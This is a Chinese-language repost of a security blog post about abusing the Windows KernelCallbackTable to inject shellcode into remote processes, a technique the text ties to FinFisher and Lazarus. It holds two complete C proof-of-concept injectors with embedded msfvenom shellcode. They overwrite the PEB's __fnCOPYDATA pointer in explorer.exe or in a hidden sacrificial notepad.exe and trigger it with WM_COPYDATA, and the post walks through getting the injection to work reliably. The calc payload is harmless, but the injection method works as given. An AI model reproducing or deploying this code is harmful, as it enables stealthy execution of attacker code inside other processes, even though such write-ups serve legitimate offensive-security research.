最近,我发现了KernelCallbackTable一种可以被滥用来向远程进程注入shellcode的方法。FinFisher /FinSpy和Lazarus都使用过这种进程注入方法。
这篇文章介绍了我所经历的历程以及我KernelCallbackTable按照自己的意愿通过工作进行流程注入时遇到的障碍。
问题
当我在 Google 上搜索这项技术时,第一个搜索结果就是modexpblog的文章。因此,在本次实验中,我以他提供的代码为基础,并对其进行了少许修改。
#include<Windows.h>#include<stdio.h>#include"struct.h"intmain(){// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f cunsignedchar payload[] = "xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbdx9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxffxd5x63x61x6cx63x00"; SIZE_T payloadSize = sizeof(payload);// Find a window for explorer.exe HWND hWindow = FindWindow(L"Shell_TrayWnd", NULL);printf("[+] Window Handle: 0x%pn", hWindow);// Obtain the process pid and open it DWORD pid; GetWindowThreadProcessId(hWindow, &pid);printf("[+] Process ID: %dn", pid); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);printf("[+] Process Handle: 0x%pn", hProcess);// Read PEB and KernelCallBackTable addresses PROCESS_BASIC_INFORMATION pbi; pNtQueryInformationProcess myNtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess"); myNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL); PEB peb; ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);printf("[+] PEB Address: 0x%pn", pbi.PebBaseAddress); KERNELCALLBACKTABLE kct; ReadProcessMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL);printf("[+] KernelCallbackTable Address: 0x%pn", peb.KernelCallbackTable);// Write the payload to remote process LPVOID payloadAddr = VirtualAllocEx(hProcess, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, payloadAddr, payload, payloadSize, NULL);printf("[+] Payload Address: 0x%pn", payloadAddr);// 4. Write the new table to the remote process LPVOID newKCTAddr = VirtualAllocEx(hProcess, NULL, sizeof(kct), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); kct.__fnCOPYDATA = (ULONG_PTR)payloadAddr; WriteProcessMemory(hProcess, newKCTAddr, &kct, sizeof(kct), NULL);printf("[+] __fnCOPYDATA: 0x%pn", kct.__fnCOPYDATA);// Update the PEB WriteProcessMemory(hProcess, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &newKCTAddr, sizeof(ULONG_PTR), NULL);printf("[+] Remote process PEB updatedn");// Trigger execution of payload COPYDATASTRUCT cds; WCHAR msg[] = L"Pwn"; cds.dwData = 1; cds.cbData = lstrlen(msg) * 2; cds.lpData = msg; SendMessage(hWindow, WM_COPYDATA, (WPARAM)hWindow, (LPARAM)&cds);printf("[+] Payload executedn");// Restore original KernelCallbackTable WriteProcessMemory(hProcess, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &peb.KernelCallbackTable, sizeof(ULONG_PTR), NULL);printf("[+] Original KernelCallbackTable restoredn");// Release memory for code and data VirtualFreeEx(hProcess, payloadAddr, 0, MEM_DECOMMIT | MEM_RELEASE); VirtualFreeEx(hProcess, newKCTAddr, 0, MEM_DECOMMIT | MEM_RELEASE);// Close handles CloseHandle(hWindow); CloseHandle(hProcess);printf("[+] Cleaned upn");}
上述 PoC 使用explorer.exe作为目标进程。具体方法是使用函数获取与 关联的FindWindow()窗口类 的句柄。当函数被调用时,有效载荷就开始执行。这是因为(指向有效载荷地址)在发送消息时会被触发。Shell_TrayWndexplorer.exeSendMessage()__fnCOPYDATAWM_COPYDATA
但是为什么explorer.exe当系统上有其他进程运行时呢?这是因为KernelCallbackTablePEB 中的 只有user32.dll在 GUI 进程使用的 加载到进程内存中时才会初始化。这意味着未加载的进程在 PEB 中user32.dll不会有字段。KernelCallbackTable
在我的实验中,PoC 不起作用,并且explorer.exe在更新目标进程的 PEB (通过执行以下代码行)后立即崩溃。崩溃后自动重启时,获取的窗口句柄现在无效;导致调用explorer.exe时有效载荷执行失败。SendMessage()
// Update the PEBWriteProcessMemory(hProcess, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &newKCTAddr, sizeof(ULONG_PTR), NULL);
如果我们以其他 GUI 进程为目标会怎么样?我尝试获取窗口类的句柄Notepad (使用下面的代码),并notepad.exe在执行代码之前运行了它。
HWND hWindow = FindWindow(L"Notepad", NULL);
果然成功了!payload 执行了,但目标进程在调用 之后仍然崩溃了SendMessage()。
我发现这种方法的问题是:
您必须首先枚举系统中可用的窗口类。(这可以通过EnumWindows()函数来实现。)
无论如何,目标进程都会崩溃。(我尝试过针对不同的 GUI 进程和窗口类,但它们都崩溃了。不过在某些情况下,payload 会被执行,而在某些情况下则不会。)
用户可以看到崩溃。
其他人的解决方案
ORCA666找到了一种解决这个问题的方法,即不定位目标,explorer.exe而是加载user32.dll到内存中。然而,他的方法会加载user32.dll到当前进程的内存中,并且有效载荷会在本地执行,而不是注入到另一个进程中。如果您想了解他的方法,请访问他的KCTHIJACK代码库。
他的解决方案很棒,但这不是我想要做的;那就是在远程进程中注入有效载荷。
我的解决方案
既然远程进程崩溃是不可避免的,为什么不创建一个用户不可见的“牺牲”进程呢?这是我想到的解决方案,它完全符合我的预期。
第一次尝试:失败!
为了实现我的目标,我曾经CreateProcess()生成一个实例notepad.exe并设置进程创建标志dwFlags以CREATE_SUSPENDED使其“隐藏”。
CreateProcess(L"C:\Windows\System32\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
嗯,这不起作用,因为暂停的进程中没有任何窗口。
没有窗口意味着无法获取句柄,因此无法注入和执行有效载荷。
[+] Window Handle: 0x0000000000000000[+] Process ID: 0[+] Process Handle: 0x0000000000000000[+] PEB Address: 0x0000020C2A583CC0[+] KernelCallbackTable Address: 0x0000000000000000[+] Payload Address: 0x0000000000000000[+] __fnCOPYDATA: 0x0000000000000000[+] Remote process PEB updated[+] Payload executed[+] Original KernelCallbackTable restored[+] Cleaned up
第二次尝试:再次失败!
CREATE_SUSPENDED我没有使用标志来隐藏创建的进程,而是使用了结构的dwFlags和成员并将它们的值设置为以下内容:wShowWindowSTARTUPINFO
si.dwFlags = STARTF_USESHOWWINDOW;si.wShowWindow = SW_HIDE;
第三次尝试:成功!
经过一番研究,我发现第二次尝试失败的原因是我没有给创建的进程足够的时间来初始化其输入。一个Sleep()函数可以解决这个问题(我试过了,确实有效)。但是,我不想等到传入的秒数过去Sleep()。所以我使用了WaitForInputIdle(),这样它只会等到进程完成初始化。
WaitForInputIdle(pi.hProcess, 1000);
这是我最终想到的代码。
#include<Windows.h>#include<stdio.h>#include"struct.h"intmain(){// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f cunsignedchar payload[] = "xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbdx9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxffxd5x63x61x6cx63x00"; SIZE_T payloadSize = sizeof(payload);// Create a sacrifical process PROCESS_INFORMATION pi; STARTUPINFO si = { sizeof(STARTUPINFO) }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; CreateProcess(L"C:\Windows\System32\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);// Wait for process initialization WaitForInputIdle(pi.hProcess, 1000);// Find a window for explorer.exe HWND hWindow = FindWindow(L"Notepad", NULL);printf("[+] Window Handle: 0x%pn", hWindow);// Obtain the process pid and open it DWORD pid; GetWindowThreadProcessId(hWindow, &pid);printf("[+] Process ID: %dn", pid); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);printf("[+] Process Handle: 0x%pn", hProcess);// Read PEB and KernelCallBackTable addresses PROCESS_BASIC_INFORMATION pbi; pNtQueryInformationProcess myNtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess"); myNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL); PEB peb; ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);printf("[+] PEB Address: 0x%pn", pbi.PebBaseAddress); KERNELCALLBACKTABLE kct; ReadProcessMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL);printf("[+] KernelCallbackTable Address: 0x%pn", peb.KernelCallbackTable);// Write the payload to remote process LPVOID payloadAddr = VirtualAllocEx(hProcess, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, payloadAddr, payload, payloadSize, NULL);printf("[+] Payload Address: 0x%pn", payloadAddr);// 4. Write the new table to the remote process LPVOID newKCTAddr = VirtualAllocEx(hProcess, NULL, sizeof(kct), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); kct.__fnCOPYDATA = (ULONG_PTR)payloadAddr; WriteProcessMemory(hProcess, newKCTAddr, &kct, sizeof(kct), NULL);printf("[+] __fnCOPYDATA: 0x%pn", kct.__fnCOPYDATA);// Update the PEB WriteProcessMemory(hProcess, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &newKCTAddr, sizeof(ULONG_PTR), NULL);printf("[+] Remote process PEB updatedn");// Trigger execution of payload COPYDATASTRUCT cds; WCHAR msg[] = L"Pwn"; cds.dwData = 1; cds.cbData = lstrlen(msg) * 2; cds.lpData = msg; SendMessage(hWindow, WM_COPYDATA, (WPARAM)hWindow, (LPARAM)&cds);printf("[+] Payload executedn");}
注意:我已经删除了清理代码(比如恢复原始代码KernelCallbackTable),因为它们不再重要,因为目标进程已经崩溃并退出。
完整的项目可以在这里找到-https://github.com/capt-meelo/KernelCallbackTable-Injection。
下面是它的实际运行情况。
结论
就是这样!这就是我修改基础 PoC 的方法,使KernelCallbackTable进程注入能够按照我的要求进行工作。
如果有人知道其他解决方案,例如使远程进程不崩溃,我很高兴听到这个消息。:)
原文始发于微信公众号(Ots安全):KernelCallbackTable 注入的冒险
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论